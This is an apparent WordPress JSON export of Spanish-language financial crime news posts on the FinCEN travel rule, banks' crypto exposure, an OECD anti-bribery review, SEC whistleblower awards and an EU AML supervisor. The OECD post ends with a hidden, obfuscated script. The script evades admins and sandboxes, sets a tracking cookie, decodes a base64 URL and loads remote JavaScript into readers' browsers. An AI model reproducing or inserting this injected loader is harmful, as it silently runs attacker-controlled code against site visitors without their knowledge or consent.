3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 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wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer 